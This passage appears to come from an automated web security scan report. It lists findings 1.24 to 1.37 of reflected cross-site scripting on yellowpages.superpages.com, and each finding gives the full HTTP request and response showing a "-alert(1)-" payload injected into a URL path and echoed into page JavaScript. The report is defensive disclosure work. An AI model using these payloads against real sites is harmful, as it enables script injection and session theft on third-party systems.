Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/css/forms.cssf1c09&quot;-alert(1)-&quot;6f31add0046
Server: Unspecified
Set-Cookie: JSESSIONID=0B17752584FF1A2DC3811629C5253765; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:33:44 GMT
Cache-Control: private
Content-Length: 36079


                       <!--
       
       -->


                                   
...[SNIP]...
yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/css/forms.cssf1c09"-alert(1)-"6f31add0046?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.24. http://yellowpages.superpages.com/common/css/print.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/css/print.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3fdca"-alert(1)-"96068b15aaf was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common3fdca"-alert(1)-"96068b15aaf/css/print.css HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common3fdca&quot;-alert(1)-&quot;96068b15aaf/css/print.css
Server: Unspecified
Set-Cookie: JSESSIONID=0CB998F802310503F3DF642089016142; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:33:00 GMT
Cache-Control: private
Content-Length: 36079


                       <!--
       
       -->


                                   
...[SNIP]...
erv = 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common3fdca"-alert(1)-"96068b15aaf/css/print.css?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.25. http://yellowpages.superpages.com/common/css/print.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/css/print.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ef7bf"-alert(1)-"eed6ae6e6f1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/cssef7bf"-alert(1)-"eed6ae6e6f1/print.css HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/cssef7bf&quot;-alert(1)-&quot;eed6ae6e6f1/print.css
Server: Unspecified
Set-Cookie: JSESSIONID=BFEAD8CA936BB2E59BD56DAA6BF8F3D7; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:33:07 GMT
Cache-Control: private
Content-Length: 36079


                       <!--
       
       -->


                                   
...[SNIP]...
= 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/cssef7bf"-alert(1)-"eed6ae6e6f1/print.css?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.26. http://yellowpages.superpages.com/common/css/print.css [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/css/print.css

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a006a"-alert(1)-"cbff4859ae5 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/css/print.cssa006a"-alert(1)-"cbff4859ae5 HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/css/print.cssa006a&quot;-alert(1)-&quot;cbff4859ae5
Server: Unspecified
Set-Cookie: JSESSIONID=7112A7C7D0BF2A8F8F9AF1A7F814C733; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:33:16 GMT
Cache-Control: private
Content-Length: 36079


                       <!--
       
       -->


                                   
...[SNIP]...
yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/css/print.cssa006a"-alert(1)-"cbff4859ae5?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.27. http://yellowpages.superpages.com/common/css/reset.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/css/reset.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload da1ff"-alert(1)-"dc2efa902dc was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /commonda1ff"-alert(1)-"dc2efa902dc/css/reset.css HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /commonda1ff&quot;-alert(1)-&quot;dc2efa902dc/css/reset.css
Server: Unspecified
Set-Cookie: JSESSIONID=4239D7C1884951A967FFE5B24D2C2BFE; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:33:21 GMT
Cache-Control: private
Content-Length: 36079


                       <!--
       
       -->


                                   
...[SNIP]...
erv = 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/commonda1ff"-alert(1)-"dc2efa902dc/css/reset.css?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.28. http://yellowpages.superpages.com/common/css/reset.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/css/reset.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 95a34"-alert(1)-"686e302e816 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/css95a34"-alert(1)-"686e302e816/reset.css HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/css95a34&quot;-alert(1)-&quot;686e302e816/reset.css
Server: Unspecified
Set-Cookie: JSESSIONID=7716BE18718FF0A9D0724AA014CD1180; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:33:28 GMT
Cache-Control: private
Content-Length: 36079


                       <!--
       
       -->


                                   
...[SNIP]...
= 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/css95a34"-alert(1)-"686e302e816/reset.css?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.29. http://yellowpages.superpages.com/common/css/reset.css [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/css/reset.css

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3aabb"-alert(1)-"23c3bf4d12 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/css/reset.css3aabb"-alert(1)-"23c3bf4d12 HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/css/reset.css3aabb&quot;-alert(1)-&quot;23c3bf4d12
Server: Unspecified
Set-Cookie: JSESSIONID=1ECBA4F29730F93048865C6330D8702E; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:33:36 GMT
Cache-Control: private
Content-Length: 36077


                       <!--
       
       -->


                                   
...[SNIP]...
yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/css/reset.css3aabb"-alert(1)-"23c3bf4d12?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.30. http://yellowpages.superpages.com/common/css/sendtom.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/css/sendtom.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ad15d"-alert(1)-"4cb99c62a1b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /commonad15d"-alert(1)-"4cb99c62a1b/css/sendtom.css HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /commonad15d&quot;-alert(1)-&quot;4cb99c62a1b/css/sendtom.css
Server: Unspecified
Set-Cookie: JSESSIONID=98569611A90DDF545C63EF46782C91CF; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:33:16 GMT
Cache-Control: private
Content-Length: 36083


                       <!--
       
       -->


                                   
...[SNIP]...
erv = 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/commonad15d"-alert(1)-"4cb99c62a1b/css/sendtom.css?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.31. http://yellowpages.superpages.com/common/css/sendtom.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/css/sendtom.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c75f4"-alert(1)-"02b021d68ca was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/cssc75f4"-alert(1)-"02b021d68ca/sendtom.css HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/cssc75f4&quot;-alert(1)-&quot;02b021d68ca/sendtom.css
Server: Unspecified
Set-Cookie: JSESSIONID=961E21ED8472E86EF4F8EBD9ECEB24D4; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:33:24 GMT
Cache-Control: private
Content-Length: 36083


                       <!--
       
       -->


                                   
...[SNIP]...
= 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/cssc75f4"-alert(1)-"02b021d68ca/sendtom.css?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.32. http://yellowpages.superpages.com/common/css/sendtom.css [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/css/sendtom.css

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ec1e7"-alert(1)-"03bc909001e was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/css/sendtom.cssec1e7"-alert(1)-"03bc909001e HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/css/sendtom.cssec1e7&quot;-alert(1)-&quot;03bc909001e
Server: Unspecified
Set-Cookie: JSESSIONID=89100A70CAE7838057FA2B0BF2BD7136; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:33:30 GMT
Cache-Control: private
Content-Length: 36083


                       <!--
       
       -->


                                   
...[SNIP]...
llowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/css/sendtom.cssec1e7"-alert(1)-"03bc909001e?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.33. http://yellowpages.superpages.com/common/css/spcore.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/css/spcore.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d0c20"-alert(1)-"e4243f6ac8f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /commond0c20"-alert(1)-"e4243f6ac8f/css/spcore.css HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /commond0c20&quot;-alert(1)-&quot;e4243f6ac8f/css/spcore.css
Server: Unspecified
Set-Cookie: JSESSIONID=AC90724B3D6058EB845DA1C9B8F4C038; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:33:43 GMT
Cache-Control: private
Content-Length: 36081


                       <!--
       
       -->


                                   
...[SNIP]...
erv = 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/commond0c20"-alert(1)-"e4243f6ac8f/css/spcore.css?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.34. http://yellowpages.superpages.com/common/css/spcore.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/css/spcore.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e8cb3"-alert(1)-"ad160d53bf0 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/csse8cb3"-alert(1)-"ad160d53bf0/spcore.css HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/csse8cb3&quot;-alert(1)-&quot;ad160d53bf0/spcore.css
Server: Unspecified
Set-Cookie: JSESSIONID=A653C00D1D509E4F913800C0855B5E3D; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:33:53 GMT
Cache-Control: private
Content-Length: 36081


                       <!--
       
       -->


                                   
...[SNIP]...
= 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/csse8cb3"-alert(1)-"ad160d53bf0/spcore.css?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.35. http://yellowpages.superpages.com/common/css/spcore.css [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/css/spcore.css

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4fc04"-alert(1)-"230ea56f1b4 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/css/spcore.css4fc04"-alert(1)-"230ea56f1b4 HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/css/spcore.css4fc04&quot;-alert(1)-&quot;230ea56f1b4
Server: Unspecified
Set-Cookie: JSESSIONID=F118099836FFFF9E6242ECE63F34CE56; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:34:00 GMT
Cache-Control: private
Content-Length: 36081


                       <!--
       
       -->


                                   
...[SNIP]...
ellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/css/spcore.css4fc04"-alert(1)-"230ea56f1b4?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.36. http://yellowpages.superpages.com/common/css/spflyouts.1.0.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/css/spflyouts.1.0.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 97191"-alert(1)-"a26cfc23980 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common97191"-alert(1)-"a26cfc23980/css/spflyouts.1.0.css HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common97191&quot;-alert(1)-&quot;a26cfc23980/css/spflyouts.1.0.css
Server: Unspecified
Set-Cookie: JSESSIONID=EA759A48641FB029323258B469F2D696; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:32:59 GMT
Cache-Control: private
Content-Length: 36095


                       <!--
       
       -->


                                   
...[SNIP]...
erv = 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common97191"-alert(1)-"a26cfc23980/css/spflyouts.1.0.css?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.37. http://yellowpages.superpages.com/common/css/spflyouts.1.0.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/css/spflyouts.1.0.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6e3da"-alert(1)-"acb1d78ef25 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/css6e3da"-alert(1)-"acb1d78ef25/spflyouts.1.0.css HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
